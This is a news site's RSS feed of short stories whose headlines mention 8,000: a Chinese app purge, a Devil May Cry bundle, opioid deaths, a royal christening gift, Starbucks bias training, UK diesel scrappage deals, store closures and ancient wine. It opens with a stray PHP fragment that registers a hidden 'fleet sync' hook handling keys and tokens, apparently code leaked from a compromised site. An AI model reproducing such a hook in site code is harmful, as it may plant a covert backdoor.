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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 8000 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 28 Jan 2019 00:43:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 8000 – Brief News https://briefnews.eu 32 32 Chinese regulators reportedly axed 8,000 malicious apps https://briefnews.eu/chinese-regulators-reportedly-axed-8000-malicious-apps/ https://briefnews.eu/chinese-regulators-reportedly-axed-8000-malicious-apps/#respond Mon, 28 Jan 2019 00:43:21 +0000 http://briefnews.eu/chinese-regulators-reportedly-axed-8000-malicious-apps/

China’s cyber regulators are tightening their grip on the country’s infamously censored internet even more, and it includes keeping a closer eye on games and apps. According to Reuters, the Cyberspace Administration of China (CAC) has deleted 7,873 mobile apps it deems malicious. Some of those applications reportedly overcharged users, while others stole their information.

One of the apps affected by the purge was Fruit Ninja, though it’s not entirely clear if CAC axed the original game or one of its many copycats. That deleted Fruit Ninja apparently tricked people into signing up for paid services. There was also at least a couple of games with intentionally provocative names — Bathroom Goddess and Naughty Housemaid — deleted for information theft, spamming and forced downloads.

In addition to the app purge, the CAC said in a statement that it has removed over 7 million pieces of information online. It also criticized a Tencent news app for posting “vulgar and low-brow information,” which exemplifies the internet company’s issues with the government. If you’ll recall, China put its video game approvals on hold after establishing an ethics committee to oversee the industry. The first batch of titles approved after that almost-year-long freeze didn’t include anything from Tencent.

Source: Reuters

]]> https://briefnews.eu/chinese-regulators-reportedly-axed-8000-malicious-apps/feed/ 0 ‘Devil May Cry 5’ fans in Japan get insane $8,000 bundle https://briefnews.eu/devil-may-cry-5-fans-in-japan-get-insane-8000-bundle/ https://briefnews.eu/devil-may-cry-5-fans-in-japan-get-insane-8000-bundle/#respond Mon, 22 Oct 2018 19:39:08 +0000 http://briefnews.eu/devil-may-cry-5-fans-in-japan-get-insane-8000-bundle/

If you plan on dressing up as Dante for Halloween, this is the jacket to get. Camcom has announced a new Devil May Cry 5 “Ultra Limited Edition” bundle via its E-Capcom website. The bundle includes a copy of the game — either for Xbox One or PS4 — interchangeable box art, and a life-sized leather replica of Dante’s jacket.

There are three options to choose from. The Jacket for character V is the cheapest, at 600,000 yen, or $ 5,317, with Nero’s jacket coming in at 750,000 yen, or $ 6,646, and finally with Dante’s jacket landing at a whopping 900,000 yen, or $ 7,975. All jackets have incredible attention to detail, with little nicks and signs of abrasion throughout. Nero’s jacket can also come with a damaged sleeve if you so desire. And if you’re not inclined to spend in the four-figure range, there’s also the “Classic Work Shirt” bundle which can be had for 11,852 yen, or $ 105.

This is not the first time Capcom has gone all out with a bundle. In 2012, for the release of Resident Evil 6, the publisher released a similar bundle featuring Leon Kennedy’s jacket. This bundle has not been announced for the US or international markets, but pre-orders are live. To place an order, you’ll have to follow the link on the website and email E-Capcom to confirm. Just don’t wear it outside of a video game convention (or Halloween), as it will never make you look cool.

Via: Kotaku

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At least 1,036 Canadians died in the first three months of this year due to apparent opioid overdoses, raising the opioid epidemic’s death toll to more than 8,000 people since January 2016, according to newly released government figures.

]]> https://briefnews.eu/more-than-8000-apparent-opioid-related-deaths-in-canada-since-2016/feed/ 0 Prince Louis christening: Harry buys nephew £8000 gift – after missing Charlotte's big day https://briefnews.eu/prince-louis-christening-harry-buys-nephew-8000-gift-after-missing-charlottes-big-day/ https://briefnews.eu/prince-louis-christening-harry-buys-nephew-8000-gift-after-missing-charlottes-big-day/#respond Tue, 10 Jul 2018 07:46:31 +0000 http://briefnews.eu/prince-louis-christening-harry-buys-nephew-8000-gift-after-missing-charlottes-big-day/

Prince Louis’ christening was held yesterday, Monday 9 July, at Chapel Royal, St. James’ Palace.

Prince Harry treated his new nephew, who was born on April 23 this year, to an expensive gift.

The brother of Prince William previously missed the christening of his niece, Princess Charlotte, 3, because he was abroad.

However, he seems to have made it up to the parents with this gesture.

He bought a special £8,000 book for the infant: a first edition copy of AA Milne’s Winnie-The-Pooh.

The choice of gift was said to have been inspired by Harry’s mother, Princess Diana, who tragically passed away at the age of 36.

“One of Harry’s happiest childhood memories was being read a bedtime story by his mother,” a friend of the royals told The Sun.

As testament to this, Harry is in the process of creating a library for all three of his brother’s children.

The royal insider added: “[Diana] loved all the old classics and Harry had the brilliant idea of starting a little library of first editions for Louis, Charlotte and George to enjoy as they get older.”

He chose the £8,000 gift after considering a much more expensive one first, it was reported.

“He originally wanted to get Lewis Carroll’s Through The Looking Glass, which was on sale for £24,000, but decided Winnie-The-Pooh would be more suitable for a first tome.

“Robinson Crusoe was William’s favourite book, but Harry loved all things A.A. Milne.”

So who are Prince Louis’ godparents? His godparents were announced this morning in a Kensington Palace statement.

The six godparents will include Mr Nicholas van Cutsem, who has a special link to the recent royal wedding of Meghan Markle, 36, and Prince Harry, 33.

His daughter, Florence van Cutsem, 3, was one of the flower girls who formed part of Meghan’s bridal party on the day.

His niece, Grace van Cutsem, 10, was also a bridesmaid at Kate and William’s wedding.

She was famously pictured clapping her hands over her ears as the couple kissed on the balcony, leading her to be dubbed the “grumpy bridesmaid”.

Nicholas has a particularly close relationship with the royal family, which goes back for generations.

His father, Hugh van Cutsem Sr., who passed away in 2013, was the best friend of Prince Charles, 69, at Cambridge.

What’s more, Hugh Sr. and his wife Emilie were neighbours to Queen Elizabeth, 92, at Sandringham.

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  • Former Facebook moderator Sarah Katz has described the pressure she was under to review thousands of posts a day from the darkest corners of the platform.
  • Katz told Business Insider that she eventually became desensitized to child porn and bestiality because she saw so much of it.
  • Her experience raised questions about Facebook’s efforts to stamp out child exploitation.
  • But the 27-year-old was proud of her work and urged tech firms to do more to make moderation a career.
  • Facebook said it recognized that moderation can be difficult, but said the employees “play a crucial role in helping create a safe environment for the Facebook community.”

A former Facebook moderator has said the pressure to churn through a never-ending pile of disturbing material eventually made her desensitized to child pornography and bestiality.

Sarah Katz worked as a content reviewer at Facebook’s Menlo Park headquarters through a third-party contractor, Vertisystem, for eight months in 2016. Her job was simple: Figuring out if posts reported to Facebook broke the company’s detailed community standards.

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The world’s biggest coffee company Starbucks has announced that it will close all of its company-owned cafes in the United States for one afternoon on May 29 to educate employees about racial bias.

The announcement comes as the company tries to cool tensions following an incident in its Philadelphia store, in which two black men were arrested.

Starbucks said the training for its 175,000 employees will be developed with guidance from experts including former attorney general Eric Holder. It will also provide training materials for non-company workers at roughly 6,000 licensed Starbucks cafes that will remain open in locations such as grocery stores and airports.

“I’ve spent the last few days in Philadelphia with my leadership team listening to the community, learning what we did wrong and the steps we need to take to fix it,” Starbucks CEO Kevin Johnson said in a statement.

“While this is not limited to Starbucks, we’re committed to being a part of the solution. Closing our stores for racial bias training is just one step in a journey that requires dedication from every level of our company and partnerships in our local communities,” he added.

Johnson has apologized for the “reprehensible” arrests of the two men in Philadelphia on Thursday and took personal responsibility for the incident. The two black men were arrested at Starbucks after the store’s manager called police because they were sitting in the store without ordering anything. The two men said they were waiting for a friend.

Video showing their arrest went viral, sparking protests and calls for boycotts.

Starbucks attorneys said Johnson and the men, who were released without charges, have “engaged in constructive discussions about this issue, as well as what is happening in communities across the country.”

The company added that the manager who had called the police is no longer working at that store.

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]]> https://briefnews.eu/starbucks-to-close-8000-us-stores-for-racial-sensitivity-training/feed/ 0 Diesel scrappage is BACK: How you could save £8,000 on a brand NEW car THIS month https://briefnews.eu/diesel-scrappage-is-back-how-you-could-save-8000-on-a-brand-new-car-this-month/ https://briefnews.eu/diesel-scrappage-is-back-how-you-could-save-8000-on-a-brand-new-car-this-month/#respond Fri, 16 Mar 2018 18:18:30 +0000 http://briefnews.eu/diesel-scrappage-is-back-how-you-could-save-8000-on-a-brand-new-car-this-month/

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Diesel car owners are being offered generous scrappage deals…but are they really worth it?

DIESEL SCRAPPAGE is well and truly back with car makers across the UK offering seemingly huge discounts to attract buyers looking to trade in old diesel – and in some cases, petrol – cars.

But are these schemes as valuable as they first appear, or would you be better off selling your existing vehicle and using the proceeds towards a new car?

Nearly all of the major manufacturers are offering some trade-in discount for old cars, especially diesels, with savings of up to £8,000 available.

Audi, Peugeot, Mitsubishi and VW currently offer some of the best discount incentives in the UK, while Ford, Hyundai, Nissan, Toyota, Mazda and Dacia also have deals.

But you’ll need to do your homework. Many of the ‘best’ offers aren’t eligible in conjunction with any other promotions, some of which may be far more valuable. And be careful to check that manufacturers aren’t hiking their initial RRP prices to unrealistic levels – or restricting deals to the most expensive models – before applying apparently ‘generous’ discounts. 

As our detailed guide below shows, some of the best offers currently on offer also expire within weeks, so you may need to act now to lock in some of the most competitive deals.

Audi

The “Audi scrappage incentive” is a LOT less dull than it sounds. The new scheme is openly pro-green and aims to boost sales of cleaner, more fuel-efficient cars. More importantly, it’s generous. Very, very generous. Only drivers of older diesel cars – first registered before 2010 – are eligible. But they can be any make provided you agree to upgrade to a new Audi that’s more efficient in fuel consumption and it has lower emissions. A huge range of cars are available to choose from, including the Q2, Q3, Q5, Q7, A1, A2, A3, TT, A4 A6 and A7. In other words, virtually every car Audi make. The biggest savings are, of course, only available on the more expensive cars in the range (this is Audi, after all). But £6,000 off the ever-brilliant A4? Not to be sniffed at.

Save up to £8,000: 

Runs until: March 31

More details: Audi scrappage

Citroën

The Citroën scrappage scheme is open to anyone with a vehicle more than seven years old, providing you’ve owned the vehicle for at least 90 days. Buyers can save between £1,600 and £6,400 on a new Citroën car and up to £7,000 on a commercial van. Almost the entire range is included, from the teeny Citroën C1 city car to the Citroën C3 Aircross Compact SUV or the largest Relay van. You can trade in any make or model, petrol or diesel, but your scrappage discount can’t be used with other, existing offers across the Citroën range.

Save up to: £7,000

Runs until: March 31 2018

More details: Citroen scrappage

Peugeot

All of the new scrappage schemes have their peculiar own rules and the Peugeot small-print will give you a headache, but could save you a fortune. It’s a great scheme, with very significant savings of up to £7,000 on vans and £6,000 on cars. But it’s only open to drivers with vehicles more than seven years old, providing it has been yours for at least 90 days. The company also promises to permanently take all vehicles exchanged under the scheme off the road and scrap them responsibly – so there’s no danger of the bloke down the pub pulling up in your old Focus. Almost all current Peugeot passenger cars, from the 108 city car to the award-winning 3008 SUV are included.

Save up to: £7,000

Runs until: March 31

More details: Peugeot scrappage

Ford

The Ford ‘New For Old’ Scrappage Scheme offers drivers between £2,000 and £4,950 when you trade in your old vehicle for a new Ford car – and between £2,000 and £7,000 off a new commercial vehicle. Ford also pledges to scrap your old vehicle responsibly. Well…you’d hope so! Old petrols and diesels registered before the 1st January 2011 that you’ve owned for more than 90 days are eligible. As ever with scrappage, the deal isn’t available in conjunction with any other offers – but a huge range of vehicles are available to choose from including the new Fiesta, B-Max, Focus, C-Max, Grand C-Max and Kuga. It’s even better for commercial drivers, with the maximum £7,000 discount available on the biggest Transits.

Save up to: £7,000

Runs until: March 31

More details: Ford scrappage

Diesel car scrappage is back with manufacturers offering generous discount offers on new petrol, electric and hybrid cars

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Mitsubishi 

Any vehicle, of any make, registered before January 2010 is eligible for Mitsubishi’s generous scrappage scheme. And like Audi, Mitsubishi will offer you a bigger discount for cleaner vehicles. Discounts start at £2,000 for the compact Mirage hatchback but soar to £6,500 for a full-sized SUV like the Outlander PHEV. The petrol plug-in hybrid does 166 MPG fuel economy and has a petrol & EV range of 542 miles with ultra low C02 emissions of 41 g/km. All cars on Scrappage are also available with an exclusive 5.9% APR Representative PCP finance offer, letting you spread the cost of your new Mitsubishi to suit your budget.

Save up to: £6,500*

Runs until: March 27

More details: Mitsubishi scrappage

* Includes Govt plug-in car grant

Volkswagen

The catchily-named Volkswagen Diesel Scrappage Upgrade Scheme enables you to trade in any old diesel and get unto £6,000 toward a brand new VW. The savings are available on many of the company’s latest Euro 6 petrol and diesel cars plus plug-in hybrids and full electrics. Your old banger must have been registered in the UK on or before 31st December 2009 and have a Euro 1 – 4 emissions standard engine. A staggering 19 models right across the VW range are available for discount, from the tiny e-up! – which comes with a £3,300 saving (in addition to a £4,500 Plug-in vehicle grant) – to the enormous Sharan, which carries an equally vast £6,000 scrappage discount. Only the Touareg and T-Roc are excluded, but bear in mind this is a diesel-only scrappage scheme – so if you drive an old petrol vehicle, you’ll need to look elsewhere.

Save up to: £6,000

Runs until: April 2

More details: VW scrappage

Mazda 

Mazda’s Scrappage Upgrade Plan could help you save a tidy sum on a new, clean Mazda. The scheme lets you scrap your old petrol or diesel motor and get between £2,500 and £5,000 off a wide range of sub 135g/km new Mazdas – including the greenest vehicles with SKYACTIV Technology. There are some chunky discounts available across the range, with £5,000 off both the Mazda 3 and Mazda 6 and £3,000 off the popular CX-5 SUV. Your old car must have been registered on or before 31 December 2010. The MX-5 is excluded, as are CX-3 petrol models.

Save up to £5,000

Runs until: March 31

More details: Mazda scrappage

Hyundai 

If you have an old petrol or diesel car that was registered before January 2011 Hyundai will scrap it and hand you between £1,500 and £5,000 off a new model. Available deals include £2,000 off the popular IONIQ Hybrid and £5,000 off a top-of-the range Santa Fe SUV. The most polluting cars, those with Euro 1-3 emissions, will be scrapped and completely removed from UK roads while those that are Euro 4-5 can also be traded in.

Save up to: £5,000

Runs until: March 31

More details: Hyundai scrappage

Skoda

Like the rest of the VW group Skoda will only give you a scrappage discount in exchange for an old diesel. Owners of petrol bangers will need to look elsewhere on this list. If you own a diesel vehicle that complies with pre-Euro 5 emissions legislation, and was registered before 2010, you qualify for the ŠKODA scrappage incentive offer. Up to £4,000 is available to use against the majority of new models (excluding Kodiaq, Karoq, SE Technology and Citigo S trims), when ordered by March 31. Note that, unlike some other schemes, you must have owned your diesel for six months before you can let them destroy it. This offer was initially set to expire last year, but proved so popular it was kept open for a further three months.

Save up to: £4,000

Runs until: March 31 (extended from December 2017)

More details: Skoda scrappage

Toyota

A huge number of Toyotas are available under its ’Scrap Old, Buy New’ scheme. Provided your car is at least eight years old, you could trade it in for £4,000 off anything from the Toyota passenger car and light commercial range, from the AYGO city car a Land Cruiser or Hilux. Its hybrid range includes the stylish C-HR Hybrid crossover, the British-built Auris Hybrid hatchback and Touring Sports wagon plus, of course, the iconic Prius. Its ever-popular compact SUV, the Rav 4, is also included with a healthy £2,500 mark-down.

Save up to: £4,000

Runs until: March 31

More details: Toyota scrappage

 

BMW

The BMW Lower Emissions Allowance is only available to drivers of old diesels that don’t meet Euro 5 and 6 emissions standards. In the real world, that means if your wreck is less than seven years old, it probably isn’t eligible. The £2,000 discount is only for cars with emissions of 130g/km or less, which includes the 1 Series and electric i3. On the plus side, you will be offered your car’s trade-in value plus – unusually – existing discounts that are offered on new cars, which can mean decent savings.

Save up to: £2,000

Runs until: March 31

More details: BMW scrappage

Kia

Kia’s scrappage scheme is not the most generous, but with the firm’s landmark seven-year warranty it can still make good financial sense to upgrade. You can currently get £2,000 off a new Rio or Picanto. As ever, the scrappage saving is in lieu of all other offers. Kia would like to stress that only one scrappage payment can be claimed for each vehicle scrapped. D’oh!

Save up to: £2,000

Runs until: March 31

More details: Kia scrappage

Nissan 

Not many scrappage schemes are beautifully simple, but Nissan’s Switch Scheme is. Simply trade in your nine-year-old (or older) car and your get £2,000 towards either a used 100% electric Nissan LEAF or a New X-Trail or Juke. If you combine your switch with Nissan Finance’s Personal Contract Plan, you could save even more,up to £4,500.

Save up to: £2,000

Runs until: April 2

More details:  Nissan scrappage

Dacia

£2,000 off a new Dacia may not sound like much, but it can be a huge percentage saving. The Dacia Scrappage Scheme will save you the full amount when you swap your old car for a new Dacia Duster – which start from just £9,495 – or £500 for a new Dacia Sandero.

Save up to: £2,000

Runs until: March 31

More details: Dacia scrappage

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From matchmaking to babysitting, the physician recruiter in Goderich, Ont., went to elaborate lengths to convince doctors to move to the small town.

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Retailers are closing thousands of stores following years of declines in sales and customer traffic. 

Bankruptcies accounted for a large chunk of the stores that have closed or are closing. But a tough physical retail environment stemming from steeper online competition is also being blamed.

We compiled a list of the 8,053 closures that were announced in 2017. 

Radioshack — 1,430 stores

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Radioshack filed for bankrupcy in 2017, and announced it will close all its stores.

Payless — 900 stores

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Payless also filed for bankrupcy this year, announcing the closure of about 900 stores.

Ascena Brands — 667 stores

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Ann Taylor’s parent brand announced hundreds of store closures to close over the next two years. About 250 locations either are to close or all arleady closed, with more than 400 slated to close if rents aren’t renegotated. 


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]]> https://briefnews.eu/more-than-8000-store-closures-were-announced-in-2017-heres-the-full-list/feed/ 0 Even 8,000 years ago, a meal without wine was like a day without sunshine https://briefnews.eu/even-8000-years-ago-a-meal-without-wine-was-like-a-day-without-sunshine/ https://briefnews.eu/even-8000-years-ago-a-meal-without-wine-was-like-a-day-without-sunshine/#respond Wed, 15 Nov 2017 11:58:16 +0000 http://briefnews.eu/even-8000-years-ago-a-meal-without-wine-was-like-a-day-without-sunshine/

Enlarge / The first vineyards probably weren’t this orderly and certainly lacked the barn. (credit: New York State)

PIiny the Elder knew that truth comes out in it. Aeschylus called it the mirror of the mind. Robert Louis Stevenson said it was bottled poetry. Mark Twain compared the books of great geniuses to it. It is no wonder that wine—which perfectly complements food, inhibits inhibitions, and alters perceptions—has been inseparable from civilization from time immemorial. But when, exactly, “immemorial” started is still being investigated.

The absolute earliest confirmation of grape wine production, at about 7000 BCE, actually comes from China. But wine production started in the Near East. Canaanites brought it to Egypt by 3000 BCE, and from there it eventually swept through Europe. The earliest evidence of Neolithic Near Eastern wine had been from 5400-5000 BCE in the northwestern Zagros mountains of Iran. Now, new evidence pushes the start date about five hundred years back and a thousand kilometers north, to 6000-5800 BCE in the South Caucasus.

Back in the 1960s, a pottery sherd (not a typo—it’s the word archaeologists use for shards, for some reason) from a dig near Tbilisi tested positive for tartaric acid. That’s the principal biomarker for wine, as it’s not present in most fruits but is the most abundant acid in grapes. But in the 1960s it was standard practice to wash sherds in hydrochloric acid, and, anyway, this sherd was found on the surface, so who knows what it was exposed to in the environment. Point is, this was not the most reliable of artifacts.

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